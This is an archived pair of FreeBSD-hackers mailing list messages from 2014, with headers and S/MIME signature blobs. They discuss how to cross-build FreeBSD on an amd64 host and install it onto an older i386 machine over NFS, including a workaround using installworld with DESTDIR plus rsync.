LmNybDAroCmgJ4YlaHR0cDovL2NybC5zdGFydGNvbS5vcmcvc2ZzY2EtY3JsLmNybDCCAV0GA1Ud IASCAVQwggFQMIIBTAYLKwYBBAGBtTcBAQEwggE7MC8GCCsGAQUFBwIBFiNodHRwOi8vY2VydC5z dGFydGNvbS5vcmcvcG9saWN5LnBkZjA1BggrBgEFBQcCARYpaHR0cDovL2NlcnQuc3RhcnRjb20u b3JnL2ludGVybWVkaWF0ZS5wZGYwgdAGCCsGAQUFBwICMIHDMCcWIFN0YXJ0IENvbW1lcmNpYWwg KFN0YXJ0Q29tKSBMdGQuMAMCAQEagZdMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUgc2VjdGlv biAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly9jZXJ0LnN0YXJ0Y29tLm9yZy9wb2xpY3ku cGRmMBEGCWCGSAGG+EIBAQQEAwIABzA4BglghkgBhvhCAQ0EKxYpU3RhcnRDb20gRnJlZSBTU0wg Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkwDQYJKoZIhvcNAQEFBQADggIBABZsmfRmDDT10IVefQrs 2hBOOBxe36YlBUuRMsHoO/E93UQJWwdJiinLZgK3sZr3JZgJPI4b4d02hytLu2jTOWY9oCbH8jmR HVGrgnt+1c5a5OIDV3Bplwj5XlimCt+MBppFFhY4Cl5X9mLHegIF5rwetfKe9Kkpg/iyFONuKIdE w5Aa3jipPKxDTWRFzt0oqVzyc3sE+Bfoq7HzLlxkbnMxOhK4vLMR5H2PgVGaO42J9E2TZns8A+3T mh2a82VQ9aDQdZ8vr/DqgkOY+GmciXnEQ45GcuNkNhKv9yUeOImQd37Da2q5w8tES6x4kIvnxywe SxFEyDRSJ80KXZ+FwYnVGnjylRBTMt2AhGZ12bVoKPthLr6EqDjAmRKGpR5nZK0GLi+pcIXHlg98 iWX1jkNUDqvdpYA5lGDANMmWcCyjEvUfSHu9HH5rt52Q9CI7rvj8Ksr6glKg769LVZPrwbXwIous NE4mIgShhyx1SrflfRPXuAxkwDbSyS+GEowjCcEbgjtzSaNqV4eU5dZ4xZlDY+NN4Hct4WWZcmkE GkcJ5g8BViT7H78OealYLrnECQF+lbptAAY+supKEDnY0Cv1v+x1v5cCxQkbCNxVN+KB+zeEQ2Ig yudWS2Xq/mzBJJMkoTTrBf+aIq6bfT/xZVEKpjBqs/SIHIAN/HKK6INeMYIDbzCCA2sCAQEwgZQw gYwxCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUg RGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFBy aW1hcnkgSW50ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMAkGBSsOAwIaBQCgggGvMBgGCSqGSIb3 DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE0MDYwMTE3MzQzNlowIwYJKoZIhvcN AQkEMRYEFGS94M+8TVj0yv4YXbRGMom8p3L2MIGlBgkrBgEEAYI3EAQxgZcwgZQwgYwxCzAJBgNV BAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQuMSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBD ZXJ0aWZpY2F0ZSBTaWduaW5nMTgwNgYDVQQDEy9TdGFydENvbSBDbGFzcyAxIFByaW1hcnkgSW50 ZXJtZWRpYXRlIENsaWVudCBDQQIDBqKOMIGnBgsqhkiG9w0BCRACCzGBl6CBlDCBjDELMAkGA1UE BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEAlN54dLyUxTwLdr9nNStx PLKZ7wqjfYO2R5CAFt2/x1as6QAKkXviXlFGI1xDKkvG8JF5h9zAg2cDj0uKxo5rq/c3xMH6NNZg 1F+FkL5S5OErPdazCQA/qBhbOhsQVYDjQ0gNGVGZOs4XOUGb6QJk7SVub5612HRw9vFWngjJyaB1 rl9VyDsx/c6mrSyZsq3pgTPo16HqA7YRjccerP+nBkOwd7+r3axmhDXGEWMlKKX56oM7sv95MqVZ unNbQJeA2+f7cIdo3dDst2dp/rXfLojbns+UYcTTsX2U4OtGSlJMiLQhTJHQgKOr3Alo1C85x/RB NEPEsEhAWGYkbnrzjQAAAAAAAA== --Apple-Mail-24406A20-4B40-4870-AC6A-AD93469D5889-- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 18:23:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2FAB7F0C for ; Sun, 1 Jun 2014 18:23:52 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 1993E2415 for ; Sun, 1 Jun 2014 18:23:51 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 6CCB41A3C2B; Sun, 1 Jun 2014 11:23:51 -0700 (PDT) Message-ID: <538B6FCC.9090301@mu.org> Date: Sun, 01 Jun 2014 11:24:12 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> In-Reply-To: <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 18:23:52 -0000 On 6/1/14, 10:34 AM, Jason Hellenthal wrote: > What if you just NFS mount the obj directory from the 386 to the amd64 > build world for 386 the mount the src on the i386 and just rebuild > strip and friends ? > > A little more of a hack i know but would get the job done. I tried that using install(1), then it broke with strip(1), then I basically was like, "this is a rabbit hole, forget it" and used rsync. I was really looking for a "buildinstalltools" or something target (as you suggest), but I couldn't find one. Is there an "buildinstalltools" target? -Alfred > > -- > Jason Hellenthal > Voice: 95.30.17.6/616 > JJH48-ARIN > > On Jun 1, 2014, at 13:25, Alfred Perlstein > wrote: > >> Hello hackers. >> >> Is there a way to build on amd64 and then mount over nfs the build >> and src and installworld from an i386 machine? >> >> The problem seems to be that "install" and "strip" and etc are built >> as amd64 binaries so that the installworld will fail. >> >> Below I have a solution I was going to do a blog post about, but then >> realized maybe I'd be leading people down the wrong path. >> >> Can someone verify that I need to use rsync as opposed to >> installworld for this to work? >> >> I have an old i386 based soekris geode box called "soekris": >> CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class CPU) >> Origin = "AuthenticAMD" Id = 0x5a2 Family = 0x5 Model = 0xa >> Stepping = 2 >> Features=0x88a93d >> AMD Features=0xc0400000 >> real memory = 536870912 (512 MB) >> avail memory = 502792192 (479 MB) >> >> Building on this machine is difficult because of the speed and lack >> of space, so I decided to use my more powerful amd64 machine "spigot": >> CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU) >> Origin="GenuineIntel" Id=0x206a7 Family=0x6 Model=0x2a Stepping=7 >> ... >> real memory = 17179869184 (16384 MB) >> avail memory = 16585228288 (15816 MB) >> FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >> >> So I've built an 10-stable on the amd64 machine using: >> >> spigot % TARGET=i386 >> spigot % make -j24 buildworld >> spigot % make -j24 buildkernel >> >> Works great, I get an i386 object tree under /usr/obj/i386.386/... >> >> Then I go to install this over NFS and this is where I get stuck. >> >> If I mount the i386 machine like so and install I get errors on libc >> and other libraries: >> >> spigot % mount soekris:/ /usr/soekris >> spigot % cd /usr/src && make installworld >> ..... >> ===> lib/libcrypt (install) >> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 >> /usr/soekris/lib >> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >> *** Error code 71 >> >> Stop. >> make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >> *** Error code 1 >> >> OK, so that doesn't work... >> >> Maybe if I mount the amd64 build host under the soekris box, no that >> breaks because the bootstrap tools (install(1), strip(1)) are built >> for amd64 so the install fails. >> >> So what I finally did on the amd64 box was: >> >> spigot % mkdir /use/soekris.local >> spigot % make installworld DESTDIR=/usr/soekris.local >> spigot % mount soekris:/ /usr/soekris >> spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >> >> That hung at the end forever at the end: >> var/unbound/ >> var/yp/ >> var/yp/Makefile >> var/yp/Makefile.dist >> .... >> >> but after giving it an hour I just hit ^C and rebooted and everything >> was more or less fine. >> >> Is there a better way to do this? Was the "installworld to NFS" >> breaking because of NFS bugs? Should I get those to Rick? I'm just >> confused. >> >> -Alfred >> _______________________________________________ >> freebsd-hackers@freebsd.org >> mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to >> "freebsd-hackers-unsubscribe@freebsd.org >> " From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 18:42:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D09E9358 for ; Sun, 1 Jun 2014 18:42:39 +0000 (UTC) Received: from mail-ig0-x231.google.com (mail-ig0-x231.google.com [IPv6:2607:f8b0:4001:c05::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8D0A9258E for ; Sun, 1 Jun 2014 18:42:39 +0000 (UTC) Received: by mail-ig0-f177.google.com with SMTP id l13so2609862iga.16 for ; Sun, 01 Jun 2014 11:42:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=DJG+7cg1mcTFDir6EqfcmyAgRwNJmeaUxgeAZ6Ef1qE=; b=QNCcpOsH1Gx2McUGjo1g7uuAjFpPQT0yOlNmsdMWqILHAODcX9KkUWQqp3mN0QVZAL 0cRcog8bhSYjkh8ysU+FacHIRDi3ZgOponPLyErUfdt8OTKyDqOxEfpz4KtAl/QU6iQb 6HSCQMxM7tykZeW4EOyWYoRSVYrNCTjokiWIs= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=DJG+7cg1mcTFDir6EqfcmyAgRwNJmeaUxgeAZ6Ef1qE=; b=capof1u6B/KUznNSvKvJ5V50Egdc9+ydaAXsKtLU8/SobxkLjhdBrC2YGflEfrIl2D lDf3+6rWzdU9L3WwlAHWKlHhasCyJS0rWyqcTvZRaCy0614Uh6XH5/fnCbkGUHRSQK9O wF8O9aEBBMdeTk/soCaWLJBQ4rq6tgv8LQm4Zbx2/YiWZew6QD2bdi9wH2vhx6mycVTv KstcUKCwXHH5ruMXljjVLwwfRIWbjsyVt6U5oBmiJkGw1wEcj+2Zq39ntwpYQyT9VKC8 1O/f4+MjcEsmUsVJhKfKTFHw34D2vjgBEQZ6N0LOQdEN7qu1VE5lXGtfzNMtV2Cc3+hi 5C6w== X-Gm-Message-State: ALoCoQk+frlzORffgxaJJR2YCqrFcTtdDdJwPlxD0odEbQN/O62uKuMundtfefmfHgcGkXeNkCJL X-Received: by 10.43.80.5 with SMTP id zs5mr3587355icb.72.1401648158375; Sun, 01 Jun 2014 11:42:38 -0700 (PDT) Received: from [172.31.35.2] (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id qh3sm22764414igb.17.2014.06.01.11.42.37 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 01 Jun 2014 11:42:37 -0700 (PDT) References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> Mime-Version: 1.0 (1.0) In-Reply-To: <538B6FCC.9090301@mu.org> Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-09A7528E-3142-4970-8A76-F45F579B766F; protocol="application/pkcs7-signature" Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: iPhone Mail (11B554a) From: Jason Hellenthal Subject: Re: Upgrading an i386 machine from amd64. Date: Sun, 1 Jun 2014 14:42:34 -0400 To: Alfred Perlstein X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 18:42:40 -0000 --Apple-Mail-09A7528E-3142-4970-8A76-F45F579B766F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable That would be nice. Could've swore there was something similar to that but m= emory escapes me as I haven't done backwards cross compiles in awhile. Curious have you done a svn status on your src tree in a while to see if the= re are any stale depends laying around that may affect the compilation ? Also ALWAYS_CHECK_MAKE=3DYES defined in make.conf ? =20 --=20 Jason Hellenthal Voice: 95.30.17.6/616 JJH48-ARIN > On Jun 1, 2014, at 14:24, Alfred Perlstein wrote: >=20 >=20 >> On 6/1/14, 10:34 AM, Jason Hellenthal wrote: >> What if you just NFS mount the obj directory from the 386 to the amd64 bu= ild world for 386 the mount the src on the i386 and just rebuild strip and f= riends ? >>=20 >> A little more of a hack i know but would get the job done. >=20 > I tried that using install(1), then it broke with strip(1), then I basical= ly was like, "this is a rabbit hole, forget it" and used rsync. >=20 > I was really looking for a "buildinstalltools" or something target (as you= suggest), but I couldn't find one. >=20 > Is there an "buildinstalltools" target?=20 >=20 > -Alfred >>=20 >> --=20 >> Jason Hellenthal >> Voice: 95.30.17.6/616 >> JJH48-ARIN >>=20 >> On Jun 1, 2014, at 13:25, Alfred Perlstein wrote: >>=20 >>> Hello hackers. >>>=20 >>> Is there a way to build on amd64 and then mount over nfs the build and s= rc and installworld from an i386 machine? >>>=20 >>> The problem seems to be that "install" and "strip" and etc are built as a= md64 binaries so that the installworld will fail. >>>=20 >>> Below I have a solution I was going to do a blog post about, but then re= alized maybe I'd be leading people down the wrong path. >>>=20 >>> Can someone verify that I need to use rsync as opposed to installworld f= or this to work? >>>=20 >>> I have an old i386 based soekris geode box called "soekris": >>> CPU: Geode(TM) Integrated Processor by AMD PCS (499.91-MHz 586-class CPU= ) >>> Origin =3D "AuthenticAMD" Id =3D 0x5a2 Family =3D 0x5 Model =3D 0xa S= tepping =3D 2 >>> Features=3D0x88a93d >>> AMD Features=3D0xc0400000 >>> real memory =3D 536870912 (512 MB) >>> avail memory =3D 502792192 (479 MB) >>>=20 >>> Building on this machine is difficult because of the speed and lack of s= pace, so I decided to use my more powerful amd64 machine "spigot": >>> CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz (3392.37-MHz K8-class CPU) >>> Origin=3D"GenuineIntel" Id=3D0x206a7 Family=3D0x6 Model=3D0x2a Stepp= ing=3D7 >>> ... >>> real memory =3D 17179869184 (16384 MB) >>> avail memory =3D 16585228288 (15816 MB) >>> FreeBSD/SMP: 1 package(s) x 4 core(s) x 2 SMT threads >>>=20 >>> So I've built an 10-stable on the amd64 machine using: >>>=20 >>> spigot % TARGET=3Di386 >>> spigot % make -j24 buildworld >>> spigot % make -j24 buildkernel >>>=20 >>> Works great, I get an i386 object tree under /usr/obj/i386.386/... >>>=20 >>> Then I go to install this over NFS and this is where I get stuck. >>>=20 >>> If I mount the i386 machine like so and install I get errors on libc and= other libraries: >>>=20 >>> spigot % mount soekris:/ /usr/soekris >>> spigot % cd /usr/src && make installworld >>> ..... >>> =3D=3D=3D> lib/libcrypt (install) >>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/= lib >>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >>> *** Error code 71 >>>=20 >>> Stop. >>> make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt >>> *** Error code 1 >>>=20 >>> OK, so that doesn't work... >>>=20 >>> Maybe if I mount the amd64 build host under the soekris box, no that bre= aks because the bootstrap tools (install(1), strip(1)) are built for amd64 s= o the install fails. >>>=20 >>> So what I finally did on the amd64 box was: >>>=20 >>> spigot % mkdir /use/soekris.local >>> spigot % make installworld DESTDIR=3D/usr/soekris.local >>> spigot % mount soekris:/ /usr/soekris >>> spigot % rsync -avvH /usr/soekris.local/ /usr/soekris/ >>>=20 >>> That hung at the end forever at the end: >>> var/unbound/ >>> var/yp/ >>> var/yp/Makefile >>> var/yp/Makefile.dist >>> .... >>>=20 >>> but after giving it an hour I just hit ^C and rebooted and everything wa= s more or less fine. >>>=20 >>> Is there a better way to do this? Was the "installworld to NFS" breakin= g because of NFS bugs? Should I get those to Rick? I'm just confused. >>>=20 >>> -Alfred >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.or= g" >=20 --Apple-Mail-09A7528E-3142-4970-8A76-F45F579B766F Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIUOTCCBjAw ggUYoAMCAQICAwaijjANBgkqhkiG9w0BAQsFADCBjDELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0 YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcx ODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRlcm1lZGlhdGUgQ2xpZW50IENB MB4XDTEzMDUxODA4NTA0OFoXDTE0MDUxOTIyMDk0N1owSDEfMB0GA1UEAwwWamhlbGxlbnRoYWxA ZGF0YWl4Lm5ldDElMCMGCSqGSIb3DQEJARYWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALgnYFS1bWZr3KhKBzWAdRwrY+En+RRV8nCaYubqrMG+ YJbuenaIKSbIuFiDWipW4RHYTpE28pKaSnaVTG9WtAZvsWj0gYN9g2fYCnCOUceES2Yvi3RavxpB hsuzKIfsHb8iNNSEuczLu6gn4mQyaHwE4x6xSUKmbK8njR+YoF522F60wjsnq5dlOJdTrhDfObE5 5P23279WbRp8azgZX1VRB66wdKRDuSI1vBts4Nsha2paXd6HUUduHrPACBQREJTGXN8XtEKVwo63 aKUhRgtUwHNEuSWck/xwVl7PBUWH2dORAWTCqHjNuCKNOQ1/0LMiyMj7FdsBjN4dgL4YZpsCAwEA AaOCAtwwggLYMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggr BgEFBQcDBDAdBgNVHQ4EFgQU29qUrmZtgQ7ZVoDKogfpJOSfk+YwHwYDVR0jBBgwFoAUU3Ltkpzg 2ssBXHx+ljVO8tS4UYIwIQYDVR0RBBowGIEWamhlbGxlbnRoYWxAZGF0YWl4Lm5ldDCCAUwGA1Ud IASCAUMwggE/MIIBOwYLKwYBBAGBtTcBAgMwggEqMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9wb2xpY3kucGRmMIH3BggrBgEFBQcCAjCB6jAnFiBTdGFydENvbSBDZXJ0aWZp Y2F0aW9uIEF1dGhvcml0eTADAgEBGoG+VGhpcyBjZXJ0aWZpY2F0ZSB3YXMgaXNzdWVkIGFjY29y ZGluZyB0byB0aGUgQ2xhc3MgMSBWYWxpZGF0aW9uIHJlcXVpcmVtZW50cyBvZiB0aGUgU3RhcnRD b20gQ0EgcG9saWN5LCByZWxpYW5jZSBvbmx5IGZvciB0aGUgaW50ZW5kZWQgcHVycG9zZSBpbiBj b21wbGlhbmNlIG9mIHRoZSByZWx5aW5nIHBhcnR5IG9ibGlnYXRpb25zLjA2BgNVHR8ELzAtMCug KaAnhiVodHRwOi8vY3JsLnN0YXJ0c3NsLmNvbS9jcnR1MS1jcmwuY3JsMIGOBggrBgEFBQcBAQSB gTB/MDkGCCsGAQUFBzABhi1odHRwOi8vb2NzcC5zdGFydHNzbC5jb20vc3ViL2NsYXNzMS9jbGll bnQvY2EwQgYIKwYBBQUHMAKGNmh0dHA6Ly9haWEuc3RhcnRzc2wuY29tL2NlcnRzL3N1Yi5jbGFz czEuY2xpZW50LmNhLmNydDAjBgNVHRIEHDAahhhodHRwOi8vd3d3LnN0YXJ0c3NsLmNvbS8wDQYJ KoZIhvcNAQELBQADggEBAHsw8/Hw07gsNTKYnld74NBFtHnQOPkXYuccWx3j0PGQe9nqNxeingBf 2yvx+xBQzBoi4J1u84Jbrbe8Ii3+LLD/QMW9cN0SBIgRStPQLVee4STdjeabGmpXQa7omC02wYYO 83qh6CgJEIbmrsBSZH8ZSVrjkC4UmZS8wAQMS3qTWAPF0ZQGWx2+Gks2fXuacyt2LpNR+p9ogjAZ 1/rmUKjNhQZLswytaLRUdwAwSfQ3+TNs68h6Kv1LC3bNGBT3NEtr2q/nzzb5MzuFcDE6f9exroAC 4BHmokAprhna/vZdb6BrPjpXgRAlWAh3wEMxw75M9S/Nbzj/jNp+I+lvUJYwggY0MIIEHKADAgEC AgEeMA0GCSqGSIb3DQEBBQUAMH0xCzAJBgNVBAYTAklMMRYwFAYDVQQKEw1TdGFydENvbSBMdGQu MSswKQYDVQQLEyJTZWN1cmUgRGlnaXRhbCBDZXJ0aWZpY2F0ZSBTaWduaW5nMSkwJwYDVQQDEyBT dGFydENvbSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNzEwMjQyMTAxNTVaFw0xNzEwMjQy MTAxNTVaMIGMMQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzE4MDYGA1UEAxMvU3RhcnRDb20gQ2xh c3MgMSBQcmltYXJ5IEludGVybWVkaWF0ZSBDbGllbnQgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDHCYPMzi3YGrEppC4Tq5a+ijKDjKaIQZZVR63UbxIP6uq/I0fhCu+cQhoUfE6E RKKnu8zPf1Jwuk0tsvVCk6U9b+0UjM0dLep3ZdE1gblK/1FwYT5Pipsu2yOMluLqwvsuz9/9f1+1 PKHG/FaR/wpbfuIqu54qzHDYeqiUfsYzoVflR80DAC7hmJ+SmZnNTWyUGHJbBpA8Q89lGxahNvur yGaC/o2/ceD2uYDX9U8Eg5DpIpGQdcbQeGarV04WgAUjjXX5r/2dabmtxWMZwhZna//jdiSyrrSM TGKkDiXm6/3/4ebfeZuCYKzN2P8O2F/Xe2AC/Y7zeEsnR7FOp+uXAgMBAAGjggGtMIIBqTAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUU3Ltkpzg2ssBXHx+ljVO8tS4 UYIwHwYDVR0jBBgwFoAUTgvvGqRAW6UXaYcwyjRoQ9BBrvIwZgYIKwYBBQUHAQEEWjBYMCcGCCsG AQUFBzABhhtodHRwOi8vb2NzcC5zdGFydHNzbC5jb20vY2EwLQYIKwYBBQUHMAKGIWh0dHA6Ly93 d3cuc3RhcnRzc2wuY29tL3Nmc2NhLmNydDBbBgNVHR8EVDBSMCegJaAjhiFodHRwOi8vd3d3LnN0 YXJ0c3NsLmNvbS9zZnNjYS5jcmwwJ6AloCOGIWh0dHA6Ly9jcmwuc3RhcnRzc2wuY29tL3Nmc2Nh LmNybDCBgAYDVR0gBHkwdzB1BgsrBgEEAYG1NwECATBmMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3 LnN0YXJ0c3NsLmNvbS9wb2xpY3kucGRmMDQGCCsGAQUFBwIBFihodHRwOi8vd3d3LnN0YXJ0c3Ns LmNvbS9pbnRlcm1lZGlhdGUucGRmMA0GCSqGSIb3DQEBBQUAA4ICAQAKgwh9eKssBly4Y4xerhy5 I3dNoXHYfYa8PlVLL/qtXnkFgdtY1o95CfegFJTwqBBmf8pyTUnFsukDFUI22zF5bVHzuJ+GxhnS qN2sD1qetbYwBYK2iyYA5Pg7Er1A+hKMIzEzcduRkIMmCeUTyMyikfbUFvIBivtvkR8ZFAk22BZy +pJfAoedO61HTz4qSfQoCRcLN5A0t4DkuVhTMXIzuQ8CnykhExD6x4e6ebIbrjZLb7L+ocR0y4Yj Cl/Pd4MXU91y0vTipgr/O75CDUHDRHCCKBVmz/Rzkc/b970MEeHt5LC3NiWTgBSvrLEuVzBKM586 YoRD9Dy3OHQgWI270g+5MYA8GfgI/EPT5G7xPbCDz+zjdH89PeR3U4So4lSXur6H6vp+m9TQXPF3 a0LwZrp8MQ+Z77U1uL7TelWO5lApsbAonrqASfTpaprFVkL4nyGH+NHST2ZJPWIBk81i6Vw0ny0q ZW2Niy/QvVNKbb43A43ny076khXO7cNbBIRdJ/6qQNq9Bqb5C0Q5nEsFcj75oxQRqlKf6TcvGbjx kJh8BYtv9ePsXklAxtm8J7GCUBthHSQgepbkOexhJ0wP8imUkyiPHQ0GvEnd83129fZjoEhdGwXV 27ioRKbj/cIq7JRXun0NbeY+UdMYu9jGfIpDLtUUGSgsg2zMGs5R4jCCB8kwggWxoAMCAQICAQEw DQYJKoZIhvcNAQEFBQAwfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzAp BgNVBAsTIlNlY3VyZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0 Q29tIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MDkxNzE5NDYzNloXDTM2MDkxNzE5NDYz NlowfTELMAkGA1UEBhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3Vy ZSBEaWdpdGFsIENlcnRpZmljYXRlIFNpZ25pbmcxKTAnBgNVBAMTIFN0YXJ0Q29tIENlcnRpZmlj YXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAwYjbCbxsRnx4 n5V7tTOQ8nJi1sE2ICIkXs7pd/JDCqIGZKTMjjb4OOYj8G5tsTzdcqOFHKHTPbQzK9Mvr/7qsEFZ Z7bEBn0KnnSF1nlMgDd63zkFUln39BtGQ6TShYXSw3HzdWI0uiyKfx6P7u000BHHls1SPboz1t1N 3gs7SkufwiYv+rUWHHI1d8o8XebK4SaLGjZ2XAHbdBQl/u21oIgP3XjKLR8HlzABLXJ5+kbWEyqo uaarg0kd5fLv3eQBjhgKj2NTFoViqQ4ZOsy1ZqbCa3QH5Cvhdj60bdj2ROFzYh87xL6gU1YlbFEJ 96qryr92/W2b853bvz1mvAxWqq+YSJU6S9+nWFDZOHWpW+pDDAL/mevobE1wWyllnN2qXcyvATHs DOvSjejqnHvmbvcnZgwaSNduQuM/3iE+e+ENcPtjqqhsGlS0XCV6yaLJixamuyx+F14FTVhuEh0B 7hIQDcYyfxj//PT6zW6R6DZJvhpIaYvClk0aErJpF8EKkNb6eSJIv7p7afhwx/p6N9jYDdJ2T1f/ kLfjkdLd78Jgt2c63f6qnPDUi39yIs7Gn5e2+K+KoBCo2fsYxra1XFI8ibYZKnMBCg8DsxJg8nov gdujbv8mMJf1i92JV7atPbOvK8W3dgLwpdYrmoYUKnL24zOMXQlLE9+7jHQTUksCAwEAAaOCAlIw ggJOMAwGA1UdEwQFMAMBAf8wCwYDVR0PBAQDAgGuMB0GA1UdDgQWBBROC+8apEBbpRdphzDKNGhD 